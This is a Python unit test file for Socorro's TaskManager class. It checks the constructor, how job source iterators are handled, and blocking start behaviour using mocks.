1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
package quark_md;
public class quark_test_Test_stop_Method extends quark.reflect.Method implements io.datawire.quark.runtime.QObject {
public quark_test_Test_stop_Method() {
super("quark.void", "stop", new java.util.ArrayList(java.util.Arrays.asList(new Object[]{})));
}
public Object invoke(Object object, java.util.ArrayList<Object> args) {
quark.test.Test obj = (quark.test.Test) (object);
(obj).stop();
return null;
}
public String _getClass() {
return (String) (null);
}
public Object _getField(String name) {
return null;
}
public void _setField(String name, Object value) {}
}
| bozzzzo/quark | quarkc/test/emit/expected/java/quark/src/main/java/quark_md/quark_test_Test_stop_Method.java | Java | apache-2.0 | 669 | [
30522,
7427,
24209,
17007,
1035,
9108,
1025,
2270,
2465,
24209,
17007,
1035,
3231,
1035,
3231,
1035,
2644,
1035,
4118,
8908,
24209,
17007,
1012,
8339,
1012,
4118,
22164,
22834,
1012,
2951,
20357,
1012,
24209,
17007,
1012,
2448,
7292,
1012,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!-- NewPage -->
<html lang="de">
<head>
<!-- Generated by javadoc (1.8.0_121) on Sun Feb 04 21:46:32 CET 2018 -->
<title>com.github.jhanne82.documenttree.simulation.utils</title>
<meta name="date" content="2018-02-04">
<link rel="stylesheet" type="text/css" href="../../../../../../stylesheet.css" title="Style">
<script type="text/javascript" src="../../../../../../script.js"></script>
</head>
<body>
<h1 class="bar"><a href="../../../../../../com/github/jhanne82/documenttree/simulation/utils/package-summary.html" target="classFrame">com.github.jhanne82.documenttree.simulation.utils</a></h1>
<div class="indexContainer">
<h2 title="Classes">Classes</h2>
<ul title="Classes">
<li><a href="RandomNumberGenerator.html" title="class in com.github.jhanne82.documenttree.simulation.utils" target="classFrame">RandomNumberGenerator</a></li>
<li><a href="SimulationResult.html" title="class in com.github.jhanne82.documenttree.simulation.utils" target="classFrame">SimulationResult</a></li>
<li><a href="Utility.html" title="class in com.github.jhanne82.documenttree.simulation.utils" target="classFrame">Utility</a></li>
</ul>
</div>
</body>
</html>
| jhanne82/DocumentTree | src/main/javadoc/com/github/jhanne82/documenttree/simulation/utils/package-frame.html | HTML | mit | 1,252 | [
30522,
1026,
999,
9986,
13874,
16129,
2270,
1000,
1011,
1013,
1013,
1059,
2509,
2278,
1013,
1013,
26718,
2094,
16129,
1018,
1012,
5890,
17459,
1013,
1013,
4372,
1000,
1000,
8299,
1024,
1013,
1013,
7479,
1012,
1059,
2509,
1012,
8917,
1013,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
package org.codehaus.groovy.grails.validation;
import groovy.lang.Closure;
import groovy.lang.GroovyShell;
/**
* Test cases for custom 'validator' constraint.
*
* @author Sergey Nebolsin (<a href="mailto:nebolsin@gmail.com"/>)
*/
public class ValidatorConstraintTests extends AbstractConstraintTests {
private static final String PROP_NAME = "firstName";
private GroovyShell shell = new GroovyShell();
@Override
protected Class<?> getConstraintClass() {
return ValidatorConstraint.class;
}
private Closure getClosure( String code ) {
return (Closure) shell.evaluate( code );
}
protected Constraint getConstraint( String closure ) {
return super.getConstraint( "testString", getClosure(closure) );
}
public void testBooleanReturn() {
testConstraintMessageCodes(
getConstraint("{val,obj -> return false}"),
"test",
new String[] { "testClass.testString.validator.error","testClass.testString.validator.invalid"},
new Object[] { "testString", TestClass.class, "test" }
);
testConstraintPassed(
getConstraint( "{val,obj -> return true}" ),
"test"
);
testConstraintDefaultMessage(
getConstraint("{val,obj -> return false}"),
"test",
"Property [{0}] of class [{1}] with value [{2}] does not pass custom validation"
);
// Test null and blank values.
testConstraintFailed(
getConstraint( "{val,obj -> return val == null}" ),
"test"
);
testConstraintPassed(
getConstraint( "{val,obj -> return val == null}" ),
null
);
testConstraintFailed(
getConstraint( "{val,obj -> return val?.trim() == ''}" ),
"test"
);
testConstraintPassed(
getConstraint( "{val,obj -> return val?.trim() == ''}" ),
" "
);
}
public void testStringReturn() {
testConstraintMessageCode(
getConstraint("{val,obj -> return 'test.message'}"),
"test",
"testClass.testString.test.message",
new Object[] { "testString", TestClass.class, "test" }
);
try {
testConstraintFailed(
getConstraint("{val,obj -> return 123L}"),
"test"
);
fail("Validator constraint must throw an exception about wrong closure return");
} catch( IllegalArgumentException iae ) {
// Greate
}
}
public void testListReturn() {
testConstraintMessageCode(
getConstraint("{val,obj -> return ['test.message', 'arg', 123L]}"),
"test",
"testClass.testString.test.message",
new Object[] { "testString", TestClass.class, "test", "arg", new Long(123) }
);
try {
testConstraintFailed(
getConstraint("{val,obj -> return [123L,'arg1','arg2']}"),
"test"
);
fail("Validator constraint must throw an exception about wrong closure return");
} catch( IllegalArgumentException iae ) {
// Greate
}
}
/**
* Tests that the delegate that provides access to the name of the
* constrained property is available to custom validators.
*/
public void testDelegate() {
testConstraintPassed(
getConstraint("{val, obj -> return propertyName == 'testString'}"),
"test");
}
public void testConstraintCreation() {
Constraint validatorConstraint = new ValidatorConstraint();
assertEquals( ConstrainedProperty.VALIDATOR_CONSTRAINT, validatorConstraint.getName() );
assertTrue( validatorConstraint.supports( TestClass.class ));
assertFalse( validatorConstraint.supports( null ));
validatorConstraint.setOwningClass( TestClass.class );
validatorConstraint.setPropertyName( PROP_NAME );
try {
getConstraint( "testString", "Test");
fail("ValidatorConstraint must throw an exception for non-closure parameter.");
} catch ( IllegalArgumentException iae ) {
// Great since validator constraint only applicable for Closure parameter
}
try {
getConstraint( "{ param1, param2, param3, param4 -> return true}" );
fail("ValidatorConstraint must throw exception about closure with more that 3 params");
} catch ( IllegalArgumentException iae ) {
// Great since validator constraint only applicable for Closure's with 1, 2 or 3 params
}
}
}
| jeffbrown/grailsnolib | grails-test-suite-uber/src/test/groovy/org/codehaus/groovy/grails/validation/ValidatorConstraintTests.java | Java | apache-2.0 | 4,992 | [
30522,
7427,
8917,
1012,
3642,
13821,
1012,
24665,
9541,
10736,
1012,
24665,
12502,
2015,
1012,
27354,
1025,
12324,
24665,
9541,
10736,
1012,
11374,
1012,
8503,
1025,
12324,
24665,
9541,
10736,
1012,
11374,
1012,
24665,
9541,
10736,
4095,
534... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
#!/usr/bin/python
# -*- coding: utf-8 -*-
#
# Copyright (c) 2016 Red Hat, Inc.
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible. If not, see <http://www.gnu.org/licenses/>.
#
ANSIBLE_METADATA = {'status': ['preview'],
'supported_by': 'community',
'version': '1.0'}
DOCUMENTATION = '''
---
module: ovirt_disks
short_description: "Module to manage Virtual Machine and floating disks in oVirt"
version_added: "2.2"
author: "Ondra Machacek (@machacekondra)"
description:
- "Module to manage Virtual Machine and floating disks in oVirt."
options:
id:
description:
- "ID of the disk to manage. Either C(id) or C(name) is required."
name:
description:
- "Name of the disk to manage. Either C(id) or C(name)/C(alias) is required."
aliases: ['alias']
vm_name:
description:
- "Name of the Virtual Machine to manage. Either C(vm_id) or C(vm_name) is required if C(state) is I(attached) or I(detached)."
vm_id:
description:
- "ID of the Virtual Machine to manage. Either C(vm_id) or C(vm_name) is required if C(state) is I(attached) or I(detached)."
state:
description:
- "Should the Virtual Machine disk be present/absent/attached/detached."
choices: ['present', 'absent', 'attached', 'detached']
default: 'present'
image_path:
description:
- "Path to disk image, which should be uploaded."
- "Note that currently we support only compability version 0.10 of the qcow disk."
- "Note that you must have an valid oVirt engine CA in your system trust store
or you must provide it in C(ca_file) parameter."
- "Note that there is no reliable way to achieve idempotency, so
if you want to upload the disk even if the disk with C(id) or C(name) exists,
then please use C(force) I(true). If you will use C(force) I(false), which
is default, then the disk image won't be uploaded."
version_added: "2.3"
size:
description:
- "Size of the disk. Size should be specified using IEC standard units.
For example 10GiB, 1024MiB, etc."
- "Size can be only increased, not decreased."
interface:
description:
- "Driver of the storage interface."
choices: ['virtio', 'ide', 'virtio_scsi']
default: 'virtio'
format:
description:
- Specify format of the disk.
- If (cow) format is used, disk will by created as sparse, so space will be allocated for the volume as needed, also known as I(thin provision).
- If (raw) format is used, disk storage will be allocated right away, also known as I(preallocated).
- Note that this option isn't idempotent as it's not currently possible to change format of the disk via API.
choices: ['raw', 'cow']
storage_domain:
description:
- "Storage domain name where disk should be created. By default storage is chosen by oVirt engine."
storage_domains:
description:
- "Storage domain names where disk should be copied."
- "C(**IMPORTANT**)"
- "There is no reliable way to achieve idempotency, so every time
you specify this parameter the disks are copied, so please handle
your playbook accordingly to not copy the disks all the time. This
is valid only for VM and floating disks, template disks works
as expected."
version_added: "2.3"
force:
description:
- "Please take a look at C(image_path) documentation to see the correct
usage of this parameter."
version_added: "2.3"
profile:
description:
- "Disk profile name to be attached to disk. By default profile is chosen by oVirt engine."
bootable:
description:
- "I(True) if the disk should be bootable. By default when disk is created it isn't bootable."
shareable:
description:
- "I(True) if the disk should be shareable. By default when disk is created it isn't shareable."
logical_unit:
description:
- "Dictionary which describes LUN to be directly attached to VM:"
- "C(address) - Address of the storage server. Used by iSCSI."
- "C(port) - Port of the storage server. Used by iSCSI."
- "C(target) - iSCSI target."
- "C(lun_id) - LUN id."
- "C(username) - CHAP Username to be used to access storage server. Used by iSCSI."
- "C(password) - CHAP Password of the user to be used to access storage server. Used by iSCSI."
- "C(storage_type) - Storage type either I(fcp) or I(iscsi)."
extends_documentation_fragment: ovirt
'''
EXAMPLES = '''
# Examples don't contain auth parameter for simplicity,
# look at ovirt_auth module to see how to reuse authentication:
# Create and attach new disk to VM
- ovirt_disks:
name: myvm_disk
vm_name: rhel7
size: 10GiB
format: cow
interface: virtio
# Attach logical unit to VM rhel7
- ovirt_disks:
vm_name: rhel7
logical_unit:
target: iqn.2016-08-09.brq.str-01:omachace
id: 1IET_000d0001
address: 10.34.63.204
interface: virtio
# Detach disk from VM
- ovirt_disks:
state: detached
name: myvm_disk
vm_name: rhel7
size: 10GiB
format: cow
interface: virtio
# Upload local image to disk and attach it to vm:
# Since Ansible 2.3
- ovirt_disks:
name: mydisk
vm_name: myvm
interface: virtio
size: 10GiB
format: cow
image_path: /path/to/mydisk.qcow2
storage_domain: data
'''
RETURN = '''
id:
description: "ID of the managed disk"
returned: "On success if disk is found."
type: str
sample: 7de90f31-222c-436c-a1ca-7e655bd5b60c
disk:
description: "Dictionary of all the disk attributes. Disk attributes can be found on your oVirt instance
at following url: https://ovirt.example.com/ovirt-engine/api/model#types/disk."
returned: "On success if disk is found and C(vm_id) or C(vm_name) wasn't passed."
disk_attachment:
description: "Dictionary of all the disk attachment attributes. Disk attachment attributes can be found
on your oVirt instance at following url:
https://ovirt.example.com/ovirt-engine/api/model#types/disk_attachment."
returned: "On success if disk is found and C(vm_id) or C(vm_name) was passed and VM was found."
'''
import os
import time
import traceback
import ssl
from httplib import HTTPSConnection
try:
from urllib.parse import urlparse
except ImportError:
from urlparse import urlparse
try:
import ovirtsdk4.types as otypes
except ImportError:
pass
from ansible.module_utils.basic import AnsibleModule
from ansible.module_utils.ovirt import (
BaseModule,
check_sdk,
check_params,
create_connection,
convert_to_bytes,
equal,
follow_link,
ovirt_full_argument_spec,
search_by_name,
wait,
)
def _search_by_lun(disks_service, lun_id):
"""
Find disk by LUN ID.
"""
res = [
disk for disk in disks_service.list(search='disk_type=lun') if (
disk.lun_storage.id == lun_id
)
]
return res[0] if res else None
def upload_disk_image(connection, module):
size = os.path.getsize(module.params['image_path'])
transfers_service = connection.system_service().image_transfers_service()
transfer = transfers_service.add(
otypes.ImageTransfer(
image=otypes.Image(
id=module.params['id'],
)
)
)
transfer_service = transfers_service.image_transfer_service(transfer.id)
try:
# After adding a new transfer for the disk, the transfer's status will be INITIALIZING.
# Wait until the init phase is over. The actual transfer can start when its status is "Transferring".
while transfer.phase == otypes.ImageTransferPhase.INITIALIZING:
time.sleep(module.params['poll_interval'])
transfer = transfer_service.get()
# Set needed headers for uploading:
upload_headers = {
'Authorization': transfer.signed_ticket,
}
proxy_url = urlparse(transfer.proxy_url)
context = ssl.create_default_context()
auth = module.params['auth']
if auth.get('insecure'):
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
elif auth.get('ca_file'):
context.load_verify_locations(cafile=auth.get('ca_file'))
proxy_connection = HTTPSConnection(
proxy_url.hostname,
proxy_url.port,
context=context,
)
with open(module.params['image_path'], "rb") as disk:
chunk_size = 1024 * 1024 * 8
pos = 0
while pos < size:
transfer_service.extend()
upload_headers['Content-Range'] = "bytes %d-%d/%d" % (pos, min(pos + chunk_size, size) - 1, size)
proxy_connection.request(
'PUT',
proxy_url.path,
disk.read(chunk_size),
headers=upload_headers,
)
r = proxy_connection.getresponse()
if r.status >= 400:
raise Exception("Failed to upload disk image.")
pos += chunk_size
finally:
transfer_service.finalize()
while transfer.phase in [
otypes.ImageTransferPhase.TRANSFERRING,
otypes.ImageTransferPhase.FINALIZING_SUCCESS,
]:
time.sleep(module.params['poll_interval'])
transfer = transfer_service.get()
if transfer.phase in [
otypes.ImageTransferPhase.UNKNOWN,
otypes.ImageTransferPhase.FINISHED_FAILURE,
otypes.ImageTransferPhase.FINALIZING_FAILURE,
otypes.ImageTransferPhase.CANCELLED,
]:
raise Exception(
"Error occured while uploading image. The transfer is in %s" % transfer.phase
)
if module.params.get('logical_unit'):
disks_service = connection.system_service().disks_service()
wait(
service=disks_service.service(module.params['id']),
condition=lambda d: d.status == otypes.DiskStatus.OK,
wait=module.params['wait'],
timeout=module.params['timeout'],
)
return True
class DisksModule(BaseModule):
def build_entity(self):
logical_unit = self._module.params.get('logical_unit')
return otypes.Disk(
id=self._module.params.get('id'),
name=self._module.params.get('name'),
description=self._module.params.get('description'),
format=otypes.DiskFormat(
self._module.params.get('format')
) if self._module.params.get('format') else None,
sparse=self._module.params.get('format') != 'raw',
provisioned_size=convert_to_bytes(
self._module.params.get('size')
),
storage_domains=[
otypes.StorageDomain(
name=self._module.params.get('storage_domain'),
),
],
shareable=self._module.params.get('shareable'),
lun_storage=otypes.HostStorage(
type=otypes.StorageType(
logical_unit.get('storage_type', 'iscsi')
),
logical_units=[
otypes.LogicalUnit(
address=logical_unit.get('address'),
port=logical_unit.get('port', 3260),
target=logical_unit.get('target'),
id=logical_unit.get('id'),
username=logical_unit.get('username'),
password=logical_unit.get('password'),
)
],
) if logical_unit else None,
)
def update_storage_domains(self, disk_id):
changed = False
disk_service = self._service.service(disk_id)
disk = disk_service.get()
sds_service = self._connection.system_service().storage_domains_service()
# We don't support move© for non file based storages:
if disk.storage_type != otypes.DiskStorageType.IMAGE:
return changed
# Initiate move:
if self._module.params['storage_domain']:
new_disk_storage = search_by_name(sds_service, self._module.params['storage_domain'])
changed = self.action(
action='move',
entity=disk,
action_condition=lambda d: new_disk_storage.id != d.storage_domains[0].id,
wait_condition=lambda d: d.status == otypes.DiskStatus.OK,
storage_domain=otypes.StorageDomain(
id=new_disk_storage.id,
),
post_action=lambda _: time.sleep(self._module.params['poll_interval']),
)['changed']
if self._module.params['storage_domains']:
for sd in self._module.params['storage_domains']:
new_disk_storage = search_by_name(sds_service, sd)
changed = changed or self.action(
action='copy',
entity=disk,
action_condition=(
lambda disk: new_disk_storage.id not in [sd.id for sd in disk.storage_domains]
),
wait_condition=lambda disk: disk.status == otypes.DiskStatus.OK,
storage_domain=otypes.StorageDomain(
id=new_disk_storage.id,
),
)['changed']
return changed
def _update_check(self, entity):
return (
equal(self._module.params.get('description'), entity.description) and
equal(convert_to_bytes(self._module.params.get('size')), entity.provisioned_size) and
equal(self._module.params.get('shareable'), entity.shareable)
)
class DiskAttachmentsModule(DisksModule):
def build_entity(self):
return otypes.DiskAttachment(
disk=super(DiskAttachmentsModule, self).build_entity(),
interface=otypes.DiskInterface(
self._module.params.get('interface')
) if self._module.params.get('interface') else None,
bootable=self._module.params.get('bootable'),
active=True,
)
def update_check(self, entity):
return (
super(DiskAttachmentsModule, self)._update_check(follow_link(self._connection, entity.disk)) and
equal(self._module.params.get('interface'), str(entity.interface)) and
equal(self._module.params.get('bootable'), entity.bootable)
)
def main():
argument_spec = ovirt_full_argument_spec(
state=dict(
choices=['present', 'absent', 'attached', 'detached'],
default='present'
),
id=dict(default=None),
name=dict(default=None, aliases=['alias']),
vm_name=dict(default=None),
vm_id=dict(default=None),
size=dict(default=None),
interface=dict(default=None,),
storage_domain=dict(default=None),
storage_domains=dict(default=None, type='list'),
profile=dict(default=None),
format=dict(default='cow', choices=['raw', 'cow']),
bootable=dict(default=None, type='bool'),
shareable=dict(default=None, type='bool'),
logical_unit=dict(default=None, type='dict'),
image_path=dict(default=None),
force=dict(default=False, type='bool'),
)
module = AnsibleModule(
argument_spec=argument_spec,
supports_check_mode=True,
)
check_sdk(module)
check_params(module)
try:
disk = None
state = module.params['state']
connection = create_connection(module.params.get('auth'))
disks_service = connection.system_service().disks_service()
disks_module = DisksModule(
connection=connection,
module=module,
service=disks_service,
)
lun = module.params.get('logical_unit')
if lun:
disk = _search_by_lun(disks_service, lun.get('id'))
ret = None
# First take care of creating the VM, if needed:
if state == 'present' or state == 'detached' or state == 'attached':
ret = disks_module.create(
entity=disk,
result_state=otypes.DiskStatus.OK if lun is None else None,
)
is_new_disk = ret['changed']
ret['changed'] = ret['changed'] or disks_module.update_storage_domains(ret['id'])
# We need to pass ID to the module, so in case we want detach/attach disk
# we have this ID specified to attach/detach method:
module.params['id'] = ret['id'] if disk is None else disk.id
# Upload disk image in case it's new disk or force parameter is passed:
if module.params['image_path'] and (is_new_disk or module.params['force']):
uploaded = upload_disk_image(connection, module)
ret['changed'] = ret['changed'] or uploaded
elif state == 'absent':
ret = disks_module.remove()
# If VM was passed attach/detach disks to/from the VM:
if module.params.get('vm_id') is not None or module.params.get('vm_name') is not None and state != 'absent':
vms_service = connection.system_service().vms_service()
# If `vm_id` isn't specified, find VM by name:
vm_id = module.params['vm_id']
if vm_id is None:
vm_id = getattr(search_by_name(vms_service, module.params['vm_name']), 'id', None)
if vm_id is None:
module.fail_json(
msg="VM don't exists, please create it first."
)
disk_attachments_service = vms_service.vm_service(vm_id).disk_attachments_service()
disk_attachments_module = DiskAttachmentsModule(
connection=connection,
module=module,
service=disk_attachments_service,
changed=ret['changed'] if ret else False,
)
if state == 'present' or state == 'attached':
ret = disk_attachments_module.create()
if lun is None:
wait(
service=disk_attachments_service.service(ret['id']),
condition=lambda d:follow_link(connection, d.disk).status == otypes.DiskStatus.OK,
wait=module.params['wait'],
timeout=module.params['timeout'],
)
elif state == 'detached':
ret = disk_attachments_module.remove()
module.exit_json(**ret)
except Exception as e:
module.fail_json(msg=str(e), exception=traceback.format_exc())
finally:
connection.close(logout=False)
if __name__ == "__main__":
main()
| civisanalytics/ansible | lib/ansible/modules/cloud/ovirt/ovirt_disks.py | Python | gpl-3.0 | 20,012 | [
30522,
1001,
999,
1013,
2149,
2099,
1013,
8026,
1013,
18750,
1001,
1011,
1008,
1011,
16861,
1024,
21183,
2546,
1011,
1022,
1011,
1008,
1011,
1001,
1001,
9385,
1006,
1039,
1007,
2355,
2417,
6045,
1010,
4297,
1012,
1001,
1001,
2023,
5371,
2... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
/* ========================================================================= */
/* ------------------------------------------------------------------------- */
/*!
\file cmdtextfield.h
\date Dec 2011
\author TNick
\brief Contains the definition for CmdTextField class
*//*
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Please read COPYING and README files in root folder
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*/
/* ------------------------------------------------------------------------- */
/* ========================================================================= */
#ifndef __CMDTEXTFIELD_INC__
#define __CMDTEXTFIELD_INC__
//
//
//
//
/* INCLUDES ------------------------------------------------------------ */
#include <QPlainTextEdit>
#include <QLabel>
#include <QStringList>
/* INCLUDES ============================================================ */
//
//
//
//
/* CLASS --------------------------------------------------------------- */
namespace Gui {
/**
* @brief class representing a plain text control that interprets commands
*/
class CmdTextField :public QPlainTextEdit {
Q_OBJECT
//
//
//
//
/* DEFINITIONS ----------------------------------------------------- */
/* DEFINITIONS ===================================================== */
//
//
//
//
/* DATA ------------------------------------------------------------ */
private:
/**
* @brief associated log panel
*/
QPlainTextEdit * tx_Log;
/**
* @brief the label shown in front of text
*/
QLabel * lbl_;
/**
* @brief previously inputted text
*/
QStringList tx_prev_;
/**
* @brief index of previously inputted text
*/
int prev_idx_;
/* DATA ============================================================ */
//
//
//
//
/* FUNCTIONS ------------------------------------------------------- */
public:
/**
* @brief constructor;
*/
CmdTextField ( QWidget * parent = 0 );
/**
* @brief constructor;
*/
CmdTextField ( QPlainTextEdit * log_target, QWidget * parent = 0 );
/**
* @brief destructor;
*/
virtual ~CmdTextField ( void );
/**
* @brief get
*/
inline QPlainTextEdit * assocLog ( void )
{ return tx_Log; }
/**
* @brief set
*/
inline void setAssocLog ( QPlainTextEdit * new_val )
{ tx_Log = new_val; }
/**
* @brief change the text displayied at the left of the input box
*/
void setLabelText (
const QString & new_val = QString()
);
protected:
/**
* @brief filter the keys
*/
void keyPressEvent ( QKeyEvent *e );
/**
* @brief helps us keep the label in place
*/
void resizeEvent ( QResizeEvent * );
private:
/**
* @brief common initialisation to all constructors
*/
void init ( void );
/**
* @brief append a new string to the list
*/
void appendCommand ( const QString & s_in );
/**
* @brief get previously entered string at index i
*/
QString previousCommand ( int i = 0 );
/* FUNCTIONS ======================================================= */
//
//
//
//
}; /* class CmdTextField */
/* CLASS =============================================================== */
//
//
//
//
} // namespace Gui
#endif // __CMDTEXTFIELD_INC__
/* ------------------------------------------------------------------------- */
/* ========================================================================= */
| google-code/cad-play-ground | source/gui/cmdtextfield.h | C | bsd-3-clause | 3,470 | [
30522,
1013,
1008,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
102... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
# This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this
# file, You can obtain one at http://mozilla.org/MPL/2.0/.
from unittest import mock
from configman.dotdict import DotDict
from socorro.lib.task_manager import TaskManager, default_task_func
class TestTaskManager:
def test_constuctor1(self):
config = DotDict()
config.quit_on_empty_queue = False
tm = TaskManager(config)
assert tm.config == config
assert tm.task_func == default_task_func
assert tm.quit is False
def test_get_iterator(self):
config = DotDict()
config.quit_on_empty_queue = False
tm = TaskManager(config, job_source_iterator=range(1))
assert list(tm._get_iterator()) == [0]
def an_iter(self):
yield from range(5)
tm = TaskManager(config, job_source_iterator=an_iter)
assert list(tm._get_iterator()) == [0, 1, 2, 3, 4]
class X:
def __init__(self, config):
self.config = config
def __iter__(self):
yield from self.config
tm = TaskManager(config, job_source_iterator=X(config))
assert list(tm._get_iterator()) == list(config.keys())
def test_blocking_start(self):
config = DotDict()
config.idle_delay = 1
config.quit_on_empty_queue = False
class MyTaskManager(TaskManager):
def _responsive_sleep(self, seconds, wait_log_interval=0, wait_reason=""):
try:
if self.count >= 2:
raise KeyboardInterrupt
self.count += 1
except AttributeError:
self.count = 0
tm = MyTaskManager(config, task_func=mock.Mock())
waiting_func = mock.Mock()
tm.blocking_start(waiting_func=waiting_func)
assert tm.task_func.call_count == 10
assert waiting_func.call_count == 0
def test_blocking_start_with_quit_on_empty(self):
config = DotDict()
config.idle_delay = 1
config.quit_on_empty_queue = True
tm = TaskManager(config, task_func=mock.Mock())
waiting_func = mock.Mock()
tm.blocking_start(waiting_func=waiting_func)
assert tm.task_func.call_count == 10
assert waiting_func.call_count == 0
